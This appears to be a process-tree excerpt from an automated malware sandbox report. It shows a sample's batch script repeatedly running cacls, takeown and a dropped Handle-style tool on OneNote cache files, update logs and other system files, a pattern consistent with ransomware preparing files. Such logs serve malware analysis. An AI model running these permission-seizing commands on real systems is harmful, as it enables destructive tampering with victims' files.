C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000008D.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c AghaguL8.exe -accepteula "0000008D.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula "0000008D.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gPIO5VrW.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000008L.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000008L.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000008L.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c AghaguL8.exe -accepteula "0000008L.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula "0000008L.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gPIO5VrW.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000008V.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000008V.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000008V.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c AghaguL8.exe -accepteula "0000008V.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula "0000008V.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gPIO5VrW.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\000000A7.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\000000A7.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\000000A7.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c AghaguL8.exe -accepteula "000000A7.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula "000000A7.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gPIO5VrW.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000072.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000072.bin" /E /G Admin:F /C3⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000072.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c AghaguL8.exe -accepteula "00000072.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula "00000072.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gPIO5VrW.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000007A.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000007A.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000007A.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c AghaguL8.exe -accepteula "0000007A.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula "0000007A.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gPIO5VrW.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000007I.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000007I.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000007I.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c AghaguL8.exe -accepteula "0000007I.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula "0000007I.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gPIO5VrW.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000007Q.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000007Q.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000007Q.bin"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c AghaguL8.exe -accepteula "0000007Q.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula "0000007Q.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula -c Run -y -p extract -nobanner3⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gPIO5VrW.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000008J.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000008J.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000008J.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c AghaguL8.exe -accepteula "0000008J.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula "0000008J.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gPIO5VrW.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000095.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000095.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000095.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c AghaguL8.exe -accepteula "00000095.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula "00000095.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gPIO5VrW.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000009M.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000009M.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000009M.bin"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c AghaguL8.exe -accepteula "0000009M.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula "0000009M.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gPIO5VrW.bat" "C:\ProgramData\USOShared\Logs\System\UpdateSessionOrchestration.6468b58d-dcd3-4b9d-a783-b73412d4b935.1.etl""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\USOShared\Logs\System\UpdateSessionOrchestration.6468b58d-dcd3-4b9d-a783-b73412d4b935.1.etl" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\USOShared\Logs\System\UpdateSessionOrchestration.6468b58d-dcd3-4b9d-a783-b73412d4b935.1.etl"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c AghaguL8.exe -accepteula "UpdateSessionOrchestration.6468b58d-dcd3-4b9d-a783-b73412d4b935.1.etl" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula "UpdateSessionOrchestration.6468b58d-dcd3-4b9d-a783-b73412d4b935.1.etl" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gPIO5VrW.bat" "C:\Users\Admin\AppData\Local\ConnectedDevicesPlatform\L.Admin\ActivitiesCache.db-shm""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\ConnectedDevicesPlatform\L.Admin\ActivitiesCache.db-shm" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\ConnectedDevicesPlatform\L.Admin\ActivitiesCache.db-shm"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c AghaguL8.exe -accepteula "ActivitiesCache.db-shm" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula "ActivitiesCache.db-shm" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gPIO5VrW.bat" "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\TempState\TileCache_100_0_Header.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\TempState\TileCache_100_0_Header.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\TempState\TileCache_100_0_Header.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c AghaguL8.exe -accepteula "TileCache_100_0_Header.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula "TileCache_100_0_Header.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gPIO5VrW.bat" "C:\Users\All Users\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\background.png""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\background.png" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\background.png"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c AghaguL8.exe -accepteula "background.png" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula "background.png" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gPIO5VrW.bat" "C:\Users\All Users\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\device.png""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\device.png" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\device.png"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c AghaguL8.exe -accepteula "device.png" -nobanner3⤵
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula "device.png" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gPIO5VrW.bat" "C:\Users\All Users\Microsoft\Storage Health\StorageHealthModel.dat""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\Microsoft\Storage Health\StorageHealthModel.dat" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\Microsoft\Storage Health\StorageHealthModel.dat"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c AghaguL8.exe -accepteula "StorageHealthModel.dat" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula "StorageHealthModel.dat" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gPIO5VrW.bat" "C:\Users\All Users\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\S-1-5-21-745935970-1373868228-562466063-1000\SystemAppData\Helium\Cache\75fbd12bafcbd46e.dat""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\S-1-5-21-745935970-1373868228-562466063-1000\SystemAppData\Helium\Cache\75fbd12bafcbd46e.dat" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\S-1-5-21-745935970-1373868228-562466063-1000\SystemAppData\Helium\Cache\75fbd12bafcbd46e.dat"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c AghaguL8.exe -accepteula "75fbd12bafcbd46e.dat" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula "75fbd12bafcbd46e.dat" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gPIO5VrW.bat" "C:\Users\All Users\USOShared\Logs\System\NotificationUxBroker.57de3cf2-7164-4b5b-86ea-57fc77b7b247.1.etl""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\USOShared\Logs\System\NotificationUxBroker.57de3cf2-7164-4b5b-86ea-57fc77b7b247.1.etl" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\USOShared\Logs\System\NotificationUxBroker.57de3cf2-7164-4b5b-86ea-57fc77b7b247.1.etl"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c AghaguL8.exe -accepteula "NotificationUxBroker.57de3cf2-7164-4b5b-86ea-57fc77b7b247.1.etl" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula "NotificationUxBroker.57de3cf2-7164-4b5b-86ea-57fc77b7b247.1.etl" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gPIO5VrW.bat" "C:\Users\All Users\Microsoft\UEV\Templates\SettingsLocationTemplate2013.xsd""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\Microsoft\UEV\Templates\SettingsLocationTemplate2013.xsd" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\Microsoft\UEV\Templates\SettingsLocationTemplate2013.xsd"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c AghaguL8.exe -accepteula "SettingsLocationTemplate2013.xsd" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula "SettingsLocationTemplate2013.xsd" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gPIO5VrW.bat" "C:\Users\All Users\USOShared\Logs\System\WuProvider.35f9d8be-4aad-483b-bfaa-bd5969393e87.1.etl""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\USOShared\Logs\System\WuProvider.35f9d8be-4aad-483b-bfaa-bd5969393e87.1.etl" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\USOShared\Logs\System\WuProvider.35f9d8be-4aad-483b-bfaa-bd5969393e87.1.etl"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c AghaguL8.exe -accepteula "WuProvider.35f9d8be-4aad-483b-bfaa-bd5969393e87.1.etl" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula "WuProvider.35f9d8be-4aad-483b-bfaa-bd5969393e87.1.etl" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gPIO5VrW.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000C.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000C.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000C.bin"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c AghaguL8.exe -accepteula "0000000C.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula "0000000C.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gPIO5VrW.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000M.bin""2⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000M.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000M.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c AghaguL8.exe -accepteula "0000000M.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula "0000000M.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula -c Run -y -p extract -nobanner3⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gPIO5VrW.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000U.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000U.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000U.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c AghaguL8.exe -accepteula "0000000U.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula "0000000U.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gPIO5VrW.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000016.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000016.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000016.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c AghaguL8.exe -accepteula "00000016.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula "00000016.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gPIO5VrW.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000056.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000056.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000056.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c AghaguL8.exe -accepteula "00000056.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula "00000056.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gPIO5VrW.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000006U.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000006U.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000006U.bin"3⤵
- Modifies file permissions
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c AghaguL8.exe -accepteula "0000006U.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula "0000006U.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gPIO5VrW.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000076.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000076.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000076.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c AghaguL8.exe -accepteula "00000076.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula "00000076.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gPIO5VrW.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000007E.bin""2⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000007E.bin" /E /G Admin:F /C3⤵
-
-
